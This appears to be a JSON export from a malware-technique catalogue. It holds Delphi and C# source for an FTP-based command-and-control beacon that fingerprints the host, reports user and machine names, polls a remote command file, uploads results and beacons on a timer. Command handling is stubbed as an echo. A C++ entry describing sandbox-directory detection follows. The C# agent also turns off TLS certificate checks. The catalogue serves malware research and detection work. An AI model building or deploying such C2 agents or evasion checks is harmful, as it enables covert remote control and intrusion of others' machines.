WinAPI,\r\n      FLastError,\r\n      SysErrorMessage(FLastError)\r\n  ]);\r\n\r\n  // [+] ERROR_INTERNET_EXTENDED_ERROR\r\n\r\n  ///\r\n  inherited Create(AFormatedMessage);\r\nend;\r\n\r\n(* TFtpHelper *)\r\n\r\n{ TFtpHelper.Create }\r\nconstructor TFtpHelper.Create(const AFtpHost : String; const AFtpPort : Word; const AFtpUser, AFtpPassword : String; const AAgent : String = 'FTP');\r\nbegin\r\n  inherited Create();\r\n  ///\r\n\r\n  FFtpHost     := AFtpHost;\r\n  FFtpPort     := AFtpPort;\r\n  FFtpUser     := AFtpUser;\r\n  FFtpPassword := AFtpPassword;\r\n\r\n  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenw?FWT_mc_id=DSEC-MVP-5005282\r\n  FInternetHandle := InternetOpenW(PWideChar(AAgent), INTERNET_OPEN_TYPE_DIRECT, nil, nil, 0);\r\n  if not Assigned(FInternetHandle) then\r\n    raise EWindowsException.Create('InternetOpenW');\r\nend;\r\n\r\n{ TFtpHelper.Create }\r\nconstructor TFtpHelper.Create(const AFtpHost, AFtpUser, AFtpPassword : String);\r\nbegin\r\n  Create(AFtpHost, INTERNET_DEFAULT_FTP_PORT, AFtpuser, AFtpPassword);\r\nend;\r\n\r\n{ TFtpHelper.Destroy }\r\ndestructor TFtpHelper.Destroy();\r\nbegin\r\n  self.Disconnect();\r\n  ///\r\n\r\n  if Assigned(FInternetHandle) then\r\n    InternetCloseHandle(FInternetHandle);\r\n\r\n  ///\r\n  inherited Destroy();\r\nend;\r\n\r\n{ TFtpHelper.Connect }\r\nprocedure TFtpHelper.Connect();\r\nbegin\r\n  if IsConnected() then\r\n    self.Disconnect();\r\n  ///\r\n\r\n  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetconnectw?FWT_mc_id=DSEC-MVP-5005282\r\n  FFtpHandle := InternetConnectW(\r\n    FInternetHandle,\r\n    PWideChar(FFtpHost),\r\n    FFtpPort,\r\n    PWideChar(FFtpUser),\r\n    PWideChar(FFtpPassword),\r\n    INTERNET_SERVICE_FTP,\r\n    INTERNET_FLAG_PASSIVE,\r\n    0\r\n  );\r\n\r\n  if not Assigned(FFtpHandle) then\r\n    raise EWindowsException.Create('InternetConnectW');\r\nend;\r\n\r\n{ TFtpHelper.Browse }\r\nprocedure TFtpHelper.Browse(const ADirectory: string);\r\nbegin\r\n  CheckConnected();\r\n  ///\r\n\r\n  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpsetcurrentdirectoryw?FWT_mc_id=DSEC-MVP-5005282\r\n  if not FtpSetCurrentDirectoryW(FFtpHandle, PWideChar(ADirectory)) then\r\n    raise EWindowsException.Create('FtpSetCurrentDirectoryW');\r\nend;\r\n\r\n{ TFtpHelper.UploadStream }\r\nprocedure TFtpHelper.UploadStream(var AStream : TMemoryStream; const AFileName : String);\r\nvar hFtpFile      : HINTERNET;\r\n    ABytesRead    : Cardinal;\r\n    ABuffer       : array[0..8192 -1] of byte;\r\n    ABytesWritten : Cardinal;\r\n    AOldPosition  : Cardinal;\r\nbegin\r\n  CheckConnected();\r\n  ///\r\n\r\n  if not Assigned(AStream) then\r\n    Exit();\r\n\r\n  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpopenfilew?FWT_mc_id=DSEC-MVP-5005282\r\n  hFtpFile := FtpOpenFileW(FFtpHandle, PWideChar(AFileName), GENERIC_WRITE, FTP_TRANSFER_TYPE_BINARY, INTERNET_FLAG_RELOAD);\r\n  if not Assigned(hFtpFile) then\r\n    raise EWindowsException.Create('FtpOpenFileW');\r\n  try\r\n    if AStream.Size = 0 then\r\n      Exit();\r\n    ///\r\n\r\n    AOldPosition := AStream.Position;\r\n\r\n    AStream.Position := 0;\r\n    repeat\r\n      ABytesRead := AStream.Read(ABuffer, SizeOf(ABuffer));\r\n      if ABytesRead = 0 then\r\n        break;\r\n\r\n      // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetwritefile?FWT_mc_id=DSEC-MVP-5005282\r\n      if not InternetWriteFile(hFtpFile, @ABuffer, ABytesRead, ABytesWritten) then\r\n        raise EWindowsException.Create('InternetWriteFile');\r\n\r\n\r\n    until (ABytesRead = 0);\r\n\r\n    ///\r\n    AStream.Position := AOldPosition;\r\n  finally\r\n    InternetCloseHandle(hFtpFile);\r\n  end;\r\nend;\r\n\r\n{ TFtpHelper.DownloadStream }\r\nfunction TFtpHelper.DownloadStream(const AFileName : String) : TMemoryStream;\r\nvar hFtpFile   : HINTERNET;\r\n    ABuffer    : array[0..8192 -1] of byte;\r\n    ABytesRead : Cardinal;\r\nbegin\r\n  result := nil;\r\n  ///\r\n\r\n  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetreadfile?FWT_mc_id=DSEC-MVP-5005282\r\n  hFtpFile := FtpOpenFileW(FFtpHandle, PWideChar(AFileName), GENERIC_READ, FTP_TRANSFER_TYPE_BINARY, INTERNET_FLAG_RELOAD);\r\n  if not Assigned(hFtpFile) then\r\n    raise EWindowsException.Create('FtpOpenFileW');\r\n  try\r\n    result := TMemoryStream.Create();\r\n    ///\r\n\r\n    while true do begin\r\n      if not InternetReadFile(hFtpFile, @ABuffer, SizeOf(ABuffer), ABytesRead) then\r\n        break;\r\n\r\n      if ABytesRead = 0 then\r\n        break;\r\n\r\n      result.Write(ABuffer, ABytesRead);\r\n\r\n      if ABytesRead <> SizeOf(ABuffer) then\r\n        break;\r\n    end;\r\n\r\n    ///\r\n    result.Position := 0;\r\n  finally\r\n    InternetCloseHandle(hFtpFile);\r\n  end;\r\nend;\r\n\r\n{ TFtpHelper.UploadString }\r\nprocedure TFtpHelper.UploadString(const AContent, AFileName : String);\r\nvar AStream       : TMemoryStream;\r\n    AStreamWriter : TStreamWriter;\r\nbegin\r\n  AStreamWriter := nil;\r\n  ///\r\n\r\n  AStream := TMemoryStream.Create();\r\n  try\r\n    AStreamWriter := TStreamWriter.Create(AStream, TEncoding.UTF8);\r\n    ///\r\n\r\n    AStreamWriter.Write(AContent);\r\n\r\n    ///\r\n    self.UploadStream(AStream, AFileName);\r\n  finally\r\n    if Assigned(AStreamWriter) then\r\n      FreeAndNil(AStreamWriter)\r\n    else if Assigned(AStream) then\r\n      FreeAndNil(AStreamWriter);\r\n  end;\r\nend;\r\n\r\n{ TFtpHelper.DownloadString }\r\nfunction TFtpHelper.DownloadString(const AFileName : String) : String;\r\nvar AStream       : TMemoryStream;\r\n    AStreamReader : TStreamReader;\r\nbegin\r\n  result := '';\r\n  ///\r\n\r\n  AStreamReader := nil;\r\n  ///\r\n\r\n  AStream := self.DownloadStream(AFileName);\r\n  if not Assigned(AStream) then\r\n    Exit();\r\n  try\r\n    AStreamReader := TStreamReader.Create(AStream, TEncoding.UTF8);\r\n\r\n    ///\r\n    result := AStreamReader.ReadToEnd();\r\n  finally\r\n    if Assigned(AStreamReader) then\r\n      FreeAndNil(AStreamReader)\r\n    else if Assigned(AStream) then\r\n      FreeAndNil(AStream);\r\n  end;\r\nend;\r\n\r\n{ TFtpHelper.GetCurrentDirectory }\r\nfunction TFtpHelper.GetCurrentDirectory() : String;\r\nvar ALength : DWORD;\r\nbegin\r\n  CheckConnected();\r\n  ///\r\n\r\n  result := '';\r\n\r\n  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpgetcurrentdirectoryw?FWT_mc_id=DSEC-MVP-5005282\r\n  if not FtpGetCurrentDirectoryW(FFtpHandle, nil, ALength) then\r\n    if GetLastError() <> ERROR_INSUFFICIENT_BUFFER then\r\n      raise EWindowsException.Create('FtpGetCurrentDirectory(__call:1)');\r\n\r\n  SetLength(result, ALength div SizeOf(WideChar));\r\n\r\n  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpgetcurrentdirectoryw?FWT_mc_id=DSEC-MVP-5005282\r\n  if not FtpGetCurrentDirectoryW(FFtpHandle, PWideChar(result), ALength) then\r\n    raise EWindowsException.Create('FtpGetCurrentDirectory(__call:2)');\r\nend;\r\n\r\n{ TFtpHelper.SetCurrentDirectory }\r\nprocedure TFtpHelper.SetCurrentDirectory(const APath : String);\r\nbegin\r\n  CheckConnected();\r\n  ///\r\n\r\n  if not FtpSetCurrentDirectoryW(FFtpHandle, PWideChar(APath)) then\r\n    raise EWindowsException.Create('FtpSetCurrentDirectoryW');\r\nend;\r\n\r\n{ TFtpHelper.DirectoryExists }\r\nfunction TFtpHelper.DirectoryExists(const ADirectory : String) : Boolean;\r\nvar AOldDirectory : String;\r\nbegin\r\n  CheckConnected();\r\n  ///\r\n\r\n  result := False;\r\n\r\n  AOldDirectory := self.GetCurrentDirectory();\r\n  try\r\n    SetCurrentDirectory(ADirectory);\r\n    try\r\n      result := True;\r\n    finally\r\n      SetCurrentDirectory(AOldDirectory);\r\n    end;\r\n  except\r\n    //on E : Exception do\r\n    //  writeln(e.Message);\r\n    // [+] Check with \"ERROR_INTERNET_EXTENDED_ERROR\" status\r\n  end;\r\nend;\r\n\r\n{ TFtpHelper.CreateDirectory }\r\nprocedure TFtpHelper.CreateDirectory(const ADirectoryName : String; const ADoBrowse : Boolean = False);\r\nbegin\r\n  CheckConnected();\r\n  ///\r\n\r\n  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpcreatedirectoryw?FWT_mc_id=DSEC-MVP-5005282\r\n  if not FtpCreateDirectoryW(FFtpHandle, PWideChar(ADirectoryName)) then\r\n    raise EWindowsException.Create('FtpCreateDirectory');\r\n\r\n  if ADoBrowse then\r\n    self.Browse(ADirectoryName);\r\nend;\r\n\r\n{ TFtpHelper.CreateOrBrowseDirectory }\r\nprocedure TFtpHelper.CreateOrBrowseDirectory(const ADirectoryName : String);\r\nbegin\r\n  if self.DirectoryExists(ADirectoryName) then\r\n    self.Browse(ADirectoryName)\r\n  else\r\n    self.CreateDirectory(ADirectoryName, True);\r\nend;\r\n\r\n{ TFtpHelper.DeleteFile }\r\nprocedure TFtpHelper.DeleteFile(const AFileName : String);\r\nbegin\r\n  CheckConnected();\r\n  ///\r\n\r\n  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpdeletefilew?FWT_mc_id=DSEC-MVP-5005282\r\n  if not FtpDeleteFileW(FFtpHandle, PWideChar(AFileName)) then\r\n    raise EWindowsException.Create('FtpDeleteFileW');\r\nend;\r\n\r\n{ TFtpHelper.CheckConnected }\r\nprocedure TFtpHelper.CheckConnected();\r\nbegin\r\n  if not IsConnected() then\r\n    raise EFtpException.Create('Not connected to FTP Server.');\r\nend;\r\n\r\n{ TFtpHelper.Disconnect }\r\nprocedure TFtpHelper.Disconnect();\r\nbegin\r\n  if Assigned(FFtpHandle) then\r\n    InternetCloseHandle(FFtpHandle);\r\nend;\r\n\r\n{ TFtpHelper.IsConnected }\r\nfunction TFtpHelper.IsConnected() : Boolean;\r\nbegin\r\n  result := Assigned(FFtpHandle);\r\nend;\r\n\r\n(* TDaemon *)\r\n\r\n{ TDaemon.Create }\r\nconstructor TDaemon.Create(const AFtpHost, AFtpUser, AFtpPassword : String; const AFtpPort : Word = INTERNET_DEFAULT_FTP_PORT);\r\n\r\n  function GetMachineId() : TGUID;\r\n  var ARoot                 : String;\r\n      AVolumeNameBuffer     : String;\r\n      AFileSystemNameBuffer : String;\r\n      ADummy                : Cardinal;\r\n      ASerialNumber         : DWORD;\r\n      AHash                 : TBytes;\r\n  begin\r\n    ARoot := TPath.GetPathRoot(TPath.GetHomePath());\r\n    ///\r\n\r\n    SetLength(AVolumeNameBuffer, MAX_PATH +1);\r\n    SetLength(AFileSystemNameBuffer, MAX_PATH +1);\r\n    try\r\n      // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getvolumeinformationw?FWT_mc_id=DSEC-MVP-5005282\r\n      if not GetVolumeInformationW(\r\n        PWideChar(ARoot),\r\n        PWideChar(AVolumeNameBuffer),\r\n        Length(AVolumeNameBuffer),\r\n        @ASerialNumber,\r\n        ADummy,\r\n        ADummy,\r\n        PWideChar(AFileSystemNameBuffer),\r\n        Length(AFileSystemNameBuffer)\r\n      ) then\r\n        Exit(TGUID.Empty);\r\n      ///\r\n\r\n      // Tiny but efficient trick to generate a fake GUID from a MD5 (32bit Hex Long)\r\n      AHash := THashMD5.GetHashBytes(IntToStr(ASerialNumber));\r\n\r\n      result := TGUID.Create(Format('{%.8x-%.4x-%.4x-%.4x-%.4x%.8x}', [\r\n        PLongWord(@AHash[0])^,\r\n        PWord(@AHash[4])^,\r\n        PWord(@AHash[6])^,\r\n        PWord(@AHash[8])^,\r\n        PWord(@AHash[10])^,\r\n        PLongWord(@AHash[12])^\r\n      ]));\r\n    finally\r\n      SetLength(AVolumeNameBuffer, 0);\r\n      SetLength(AFileSystemNameBuffer, 0);\r\n    end;\r\n  end;\r\n\r\nbegin\r\n  inherited Create(False);\r\n  ///\r\n\r\n  FFtpHost     := AFtpHost;\r\n  FFtpPort     := AFtpPort;\r\n  FFtpUser     := AFtpUser;\r\n  FFtpPassword := AFtpPassword;\r\n\r\n  ///\r\n  FAgentSession := GetMachineId();\r\nend;\r\n\r\n{ TDaemon.Execute }\r\nprocedure TDaemon.Execute();\r\nvar AFtp           : TFtpHelper;\r\n    ACommand       : String;\r\n    AContextPath   : String;\r\n    AUserDomain    : String;\r\n    ACommandResult : String;\r\n\r\n\r\nconst STR_COMMAND_PLACEHOLDER = '__command__';\r\n\r\ntype\r\n  TWindowsInformationKind = (\r\n    wikUserName,\r\n    wikComputerName\r\n  );\r\n\r\n    { _.GetWindowsInformation }\r\n    function GetWindowsInformation(const AKind : TWindowsInformationKind = wikUserName) : String;\r\n    var ALength : cardinal;\r\n    begin\r\n      ALength := MAX_PATH + 1;\r\n\r\n      SetLength(result, ALength);\r\n\r\n      case AKind of\r\n        wikUserName:\r\n          // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getusernamea?FWT_mc_id=DSEC-MVP-5005282\r\n          if not GetUserNameW(PWideChar(result), ALength) then\r\n            raise EWindowsException.Create('GetUserNameW');\r\n        wikComputerName:\r\n          // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getcomputernamew?FWT_mc_id=DSEC-MVP-5005282\r\n          if not GetComputerNameW(PWideChar(result), ALength) then\r\n              raise EWindowsException.Create('GetComputerNameW');\r\n      end;\r\n\r\n      ///\r\n      SetLength(result, ALength);\r\n\r\n      result := Trim(result);\r\n    end;\r\n\r\nbegin\r\n  AFtp := TFtpHelper.Create(FFtpHost, FFtpPort, FFtpUser, FFtpPassword);\r\n  try\r\n    AUserDomain := Format('%s@%s', [\r\n      GetWindowsInformation(),\r\n      GetWindowsInformation(wikComputerName)]\r\n    );\r\n\r\n    AContextPath := Format('%s/%s', [\r\n      FAgentSession.ToString(),\r\n      AUserDomain\r\n    ]);\r\n    ///\r\n\r\n    while not Terminated do begin\r\n      ACommand := '';\r\n      try\r\n        AFtp.Connect();\r\n        try\r\n          // Create remote directory tree\r\n          try\r\n            AFtp.CreateOrBrowseDirectory(FAgentSession.ToString());\r\n\r\n            AFtp.CreateOrBrowseDirectory(AUserDomain);\r\n          except end;\r\n\r\n          // Retrieve dedicated command\r\n          try\r\n            ACommand := AFtp.DownloadString(STR_COMMAND_PLACEHOLDER);\r\n          except end;\r\n\r\n          // Echo-back command result\r\n          if not String.IsNullOrEmpty(ACommand) then begin\r\n            // ... PROCESS ACTION / COMMAND HERE ... //\r\n            // ...\r\n\r\n            ACommandResult := Format('This is just a demo, so I echo-back the command: \"%s\".', [ACommand]);\r\n\r\n            AFtp.UploadString(ACommandResult, Format('result.%s', [\r\n              FormatDateTime('yyyy-mm-dd-hh-nn-ss', Now)])\r\n            );\r\n\r\n            // Delete the command file when processed\r\n            try\r\n              AFtp.DeleteFile(STR_COMMAND_PLACEHOLDER);\r\n            except end;\r\n          end;\r\n        finally\r\n          AFtp.Disconnect(); // We are in beacon mode\r\n        end;\r\n      except\r\n        on E : Exception do\r\n          WriteLn(Format('Exception: %s', [E.Message]));\r\n      end;\r\n\r\n      ///\r\n      Sleep(1000);\r\n    end;\r\n  finally\r\n    if Assigned(AFtp) then\r\n      FreeAndNil(AFtp);\r\n\r\n    ///\r\n    ExitThread(0); //!important\r\n  end;\r\nend;\r\n\r\n(* Code *)\r\n\r\nprocedure main();\r\nvar ADaemon : TDaemon;\r\nbegin\r\n  ADaemon := TDaemon.Create('ftp.localhost', 'dark', 'toor');\r\n\r\n  readln;\r\nend;\r\n\r\n(* EntryPoint *)\r\nbegin\r\n  main();\r\n\r\nend."
        },
        {
            "id": 197,
            "language": {
                "id": 9,
                "label": "C#",
                "code_class": "csharp"
            },
            "author": {
                "id": 1,
                "name": "Jean-Pierre LESUEUR",
                "email": "jplesueur@phrozen.io",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/353/?format=api",
            "description": "his code snippet is written in C# (.NET Core) and facilitates request/response interactions via FTP, supporting both standard FTP and secure FTP (FTPS).\r\n\r\nThe [WebRequest](https://learn.microsoft.com/en-us/dotnet/api/system.net.webrequest?view=net-7.0?WT_mc_id=SEC-MVP-5005282) / [FtpWebRequest](https://learn.microsoft.com/en-us/dotnet/api/system.net.ftpwebrequest?view=net-7.0?WT_mc_id=SEC-MVP-5005282) classes are employed for executing FTP requests.",
            "plain_code": "/*\r\n * =========================================================================================\r\n * www.unprotect.it (Unprotect Project)\r\n * Author:   Jean-Pierre LESUEUR (@DarkCoderSc)\r\n * =========================================================================================\r\n */\r\n\r\n/*\r\n * Quick Start with Docker:\r\n * \r\n *  > `docker pull stilliard/pure-ftpd`\r\n *  \r\n *  Unsecure FTP Server:\r\n *      > `docker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e \"PUBLICHOST: 127.0.0.1\" -e \"ADDED_FLAGS=-E -A -X -x\" -e FTP_USER_NAME=dark -e FTP_USER_PASS=toor -e FTP_USER_HOME=/home/dark stilliard/pure-ftpd`\r\n * \r\n *  \"Secure\" FTP Server (TLS):\r\n *      > `docker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e \"PUBLICHOST: 127.0.0.1\" -e \"ADDED_FLAGS=-E -A -X -x --tls=2\" -e FTP_USER_NAME=dark -e FTP_USER_PASS=toor -e FTP_USER_HOME=/home/dark -e \"TLS_CN=localhost\" -e \"TLS_ORG=gogopando\" -e \"TLS_C=FR\" stilliard/pure-ftpd`\r\n *      \r\n *      \r\n *  /!\\ DO NOT EXPOSE THE FTP SERVER TO LAN / WAN /!\\   \r\n */\r\n\r\nusing System.Net;\r\nusing System.Runtime.InteropServices;\r\nusing System.Runtime.Versioning;\r\nusing System.Security.Cryptography;\r\nusing System.Text;\r\n\r\nclass Program\r\n{    \r\n    public static Guid AgentSession = Guid.NewGuid();\r\n\r\n    // EDIT HERE BEGIN ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n    public static readonly string FtpHost = \"127.0.0.1\";\r\n    public static readonly string FtpUser = \"dark\";\r\n    public static readonly string FtpPwd = \"toor\";\r\n    public static readonly bool FtpSecure = false;\r\n\r\n    public static readonly int BeaconDelayMin = 500;\r\n    public static readonly int BeaconDelayMax = 1000;\r\n    // EDIT HERE END ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\n    [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode)]\r\n    public static extern bool GetVolumeInformation(\r\n        string lpRootPathName,\r\n        StringBuilder lpVolumeNameBuffer,\r\n        int nVolumeNameSize,\r\n        out uint lpVolumeSerialNumber,\r\n        out uint lpMaximumComponentLength,\r\n        out uint lpFileSystemFlags,\r\n        StringBuilder lpFileSystemNameBuffer,\r\n        int nFileSystemNameSize\r\n    );\r\n\r\n    public static CancellationTokenSource CancellationTokenSource = new();\r\n\r\n    /// <summary>\r\n    /// The FtpHelper class is a utility in C# designed to streamline the application of the FTP protocol.\r\n    /// This is accomplished through abstraction and simplification of the built-in WebRequest class,\r\n    /// providing users with a more intuitive and manageable interface for FTP operations.\r\n    /// \r\n    /// Supported operations:\r\n    ///     * Session Actions\r\n    ///     * Stream Upload (Generic)\r\n    ///     * String Upload\r\n    ///     * Stream Download (Generic)\r\n    ///     * String Download\r\n    ///     * Create Directory\r\n    ///     * Delete File\r\n    ///     * Enumerate Directory Files\r\n    /// </summary>\r\n    public class FtpHelper\r\n    {\r\n        public string Host;\r\n        public string Username;\r\n        private string Password;\r\n        private bool Secure;\r\n\r\n        public FtpHelper(string host, string username, string password, bool secure)\r\n        {\r\n            this.Host = host;\r\n            this.Username = username;\r\n            this.Password = password;\r\n            this.Secure = secure;\r\n        }\r\n\r\n        private FtpWebRequest NewRequest(string? uri)\r\n        {\r\n            // Microsoft no longer recommends using \"WebRequest\" for FTP operations and advises opting for third-party components\r\n            // specialized in this domain. However, for the sake of this demonstration, the built-in function was deemed convenient.\r\n#pragma warning disable SYSLIB0014\r\n            FtpWebRequest request = (FtpWebRequest)WebRequest.Create($\"ftp://{this.Host}/{uri ?? \"\"}\");\r\n#pragma warning restore SYSLIB0014\r\n\r\n            request.Credentials = new NetworkCredential(this.Username, this.Password);\r\n\r\n            request.UsePassive = true;\r\n            request.UseBinary = true;\r\n            request.KeepAlive = true;\r\n            request.EnableSsl = this.Secure;\r\n\r\n            return request;\r\n        }\r\n\r\n        public void UploadData(Stream data, string destFilePath)\r\n        {\r\n            FtpWebRequest request = this.NewRequest(destFilePath);\r\n\r\n            request.Method = WebRequestMethods.Ftp.UploadFile;\r\n\r\n            using Stream requestStream = request.GetRequestStream();\r\n\r\n            data.CopyTo(requestStream);\r\n        }\r\n\r\n        public void UploadString(string content, string destFilePath)\r\n        {\r\n            byte[] bytes = Encoding.UTF8.GetBytes(content);\r\n\r\n            using MemoryStream stream = new(bytes);\r\n\r\n            UploadData(stream, destFilePath);\r\n        }\r\n\r\n        public Stream DownloadData(string remoteFilePath)\r\n        {\r\n            FtpWebRequest request = this.NewRequest(remoteFilePath);\r\n\r\n            request.Method = WebRequestMethods.Ftp.DownloadFile;\r\n\r\n            FtpWebResponse response = (FtpWebResponse)request.GetResponse();\r\n\r\n            Stream stream = response.GetResponseStream();\r\n\r\n            return stream;\r\n        }\r\n\r\n        public string DownloadString(string remoteFilePath)\r\n        {\r\n            using Stream stream = DownloadData(remoteFilePath);\r\n\r\n            using StreamReader reader = new StreamReader(stream);\r\n\r\n            return reader.ReadToEnd();\r\n        }\r\n\r\n        private void ExecuteFTPCommand(string remoteDirectoryPath, string command)\r\n        {\r\n            FtpWebRequest request = this.NewRequest(remoteDirectoryPath);\r\n\r\n            request.Method = command;\r\n\r\n            using FtpWebResponse resp = (FtpWebResponse)request.GetResponse();\r\n        }\r\n\r\n        public void CreateDirectory(string remoteDirectoryPath)\r\n        {\r\n            ExecuteFTPCommand(remoteDirectoryPath, WebRequestMethods.Ftp.MakeDirectory);\r\n        }\r\n\r\n        public void DeleteFile(string remoteDirectoryPath)\r\n        {\r\n            ExecuteFTPCommand(remoteDirectoryPath, WebRequestMethods.Ftp.DeleteFile);\r\n        }\r\n    }\r\n\r\n    /// <summary>\r\n    /// This function generates a unique machine ID by hashing the primary Windows hard drive's serial number and converting it into\r\n    /// a pseudo-GUID format.\r\n    /// It is specifically designed for Microsoft Windows operating systems. However, you are encouraged to adapt this algorithm for \r\n    /// other operating systems and/or employ different strategies to derive a unique machine ID\r\n    /// (e.g., using the MAC Address, CPU information, or saving a one-time generated GUID in the Windows registry or a file).    \r\n    /// </summary>\r\n    /// <returns>A unique machine ID in GUID format.</returns>\r\n    [SupportedOSPlatform(\"windows\")]\r\n    public static Guid GetMachineId()\r\n    {\r\n        string candidate = \"\";\r\n\r\n        string mainDrive = Environment.GetFolderPath(Environment.SpecialFolder.System)[..3];\r\n\r\n        const int MAX_PATH = 260;\r\n\r\n        StringBuilder lpVolumeNameBuffer = new(MAX_PATH + 1);        \r\n        StringBuilder lpFileSystemNameBuffer = new(MAX_PATH + 1);\r\n\r\n        bool success = GetVolumeInformation(\r\n            mainDrive,\r\n            lpVolumeNameBuffer,\r\n            lpVolumeNameBuffer.Capacity,\r\n            out uint serialNumber,\r\n            out uint _,\r\n            out uint _,\r\n            lpFileSystemNameBuffer,\r\n            lpFileSystemNameBuffer.Capacity\r\n         );\r\n\r\n        if (success)\r\n            candidate += serialNumber.ToString();        \r\n\r\n        using MD5 md5 = MD5.Create();\r\n\r\n        byte[] hash = md5.ComputeHash(Encoding.ASCII.GetBytes(candidate));\r\n\r\n        return new Guid(Convert.ToHexString(hash));\r\n    }\r\n\r\n    public static void Main(string[] args)\r\n    {       \r\n        // Important Notice: The delegate below renders the current application susceptible to\r\n        // Man-in-the-Middle (MITM) attacks when utilizing SSL/TLS features.\r\n        // This configuration was implemented to accommodate self-signed certificates.\r\n        // However, it is strongly advised not to employ this approach in a production environment\r\n        // if SSL/TLS security is expected.\r\n        if (FtpSecure)\r\n            ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };\r\n        ///\r\n\r\n        // Adapt \"GetMachineId\" for cross-platform support.\r\n        AgentSession = GetMachineId();\r\n\r\n        List<Thread> daemons = new List<Thread>();\r\n        ///\r\n\r\n        // This thread is tasked with handling C2 commands and dispatching responses. Note that this sample utilizes a\r\n        // single-threaded approach, but it's possible to distribute the operations across multiple threads to enhance\r\n        // performance.\r\n        daemons.Add(new Thread((object? obj) =>\r\n        {\r\n            if (obj == null)\r\n                return;\r\n\r\n            FtpHelper ftp = new(FtpHost, FtpUser, FtpPwd, FtpSecure);\r\n\r\n            string contextPath = $\"{AgentSession.ToString()}/{Environment.UserName}@{Environment.MachineName}\";\r\n            string commandFile = $\"{contextPath}/__command__\";\r\n\r\n            CancellationToken cancellationToken = (CancellationToken)obj;\r\n            while (!cancellationToken.IsCancellationRequested)\r\n            {\r\n                string? command = null;\r\n                try\r\n                {\r\n                    // Retrieve dedicated command\r\n                    try\r\n                    {\r\n                        command = ftp.DownloadString(commandFile);\r\n                    }\r\n                    catch { };\r\n\r\n                    // Create remote directory tree\r\n                    try\r\n                    {\r\n                        ftp.CreateDirectory(AgentSession.ToString());\r\n\r\n                        ftp.CreateDirectory(contextPath);\r\n                    }\r\n                    catch { };\r\n\r\n                    // Echo-back command result\r\n                    if (!String.IsNullOrEmpty(command))\r\n                    {\r\n                        // ... PROCESS ACTION / COMMAND HERE ... //\r\n                        // ...\r\n\r\n                        string commandResult = $\"This is just a demo, so I echo-back the command: `{command}`.\";\r\n\r\n                        // ...\r\n                        // ... PROCESS ACTION / COMMAND HERE ... //\r\n\r\n                        string resultFile = $\"{contextPath}/result.{DateTime.Now.ToString(\"yyyy-MM-dd-HH-mm-ss\")}\";\r\n\r\n                        ftp.UploadString(commandResult, resultFile);\r\n\r\n                        // Delete the command file when processed\r\n                        try\r\n                        {\r\n                            ftp.DeleteFile(commandFile);\r\n                        }\r\n                        catch { }\r\n                    }\r\n\r\n                    ///\r\n                    Thread.Sleep(new Random().Next(BeaconDelayMin, BeaconDelayMax));\r\n                }\r\n                catch (Exception ex) {\r\n                    Console.WriteLine(ex.Message);\r\n                };\r\n            }\r\n        }));\r\n                       \r\n        // The action to handle a CTRL+C signal on the console has been registered.\r\n        // When triggered, it will instruct any associated cancellation tokens to properly\r\n        // shut down their associated daemons.\r\n        Console.CancelKeyPress += (sender, cancelEventArgs) =>\r\n        {\r\n            CancellationTokenSource.Cancel(); // Signal tokens that application needs to be closed.\r\n\r\n            cancelEventArgs.Cancel = true; // Cancel default behaviour\r\n        };\r\n\r\n        // Start daemons\r\n        foreach (Thread daemon in daemons)\r\n            daemon.Start(CancellationTokenSource.Token);\r\n\r\n        // Keep process running until CTRL+C.\r\n        CancellationToken token = CancellationTokenSource.Token;\r\n        while (!token.IsCancellationRequested)\r\n            Thread.Sleep(1000);\r\n\r\n        // Wait for daemons to join main thread\r\n        foreach (Thread daemon in daemons)\r\n            daemon.Join();           \r\n    }\r\n}"
        },
        {
            "id": 196,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 27,
                "name": "一半人生",
                "email": null,
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": "https://github.com/TimelifeCzy"
            },
            "technique": "https://unprotect.it/api/techniques/13/?format=api",
            "description": "This C++ code provides three different functions to check whether a given directory exists in a Windows file system. The functions IsDirectory, IsDirectory1, and IsDirectory2 each use different methods to verify the existence of the directory. IsDirectory uses the CRT _access function, IsDirectory1 uses the WinAPI CreateFileA function with the OPEN_EXISTING flag and FILE_FLAG_BACKUP_SEMANTICS attribute to check if a directory handle can be created, and IsDirectory2 uses the CreateDirectoryA function to attempt to create the directory and then checks for an ERROR_ALREADY_EXISTS error. The main function then tests these three methods on a directory named \"C:\\Cuckoo\" and outputs whether each method successfully detected the directory.",
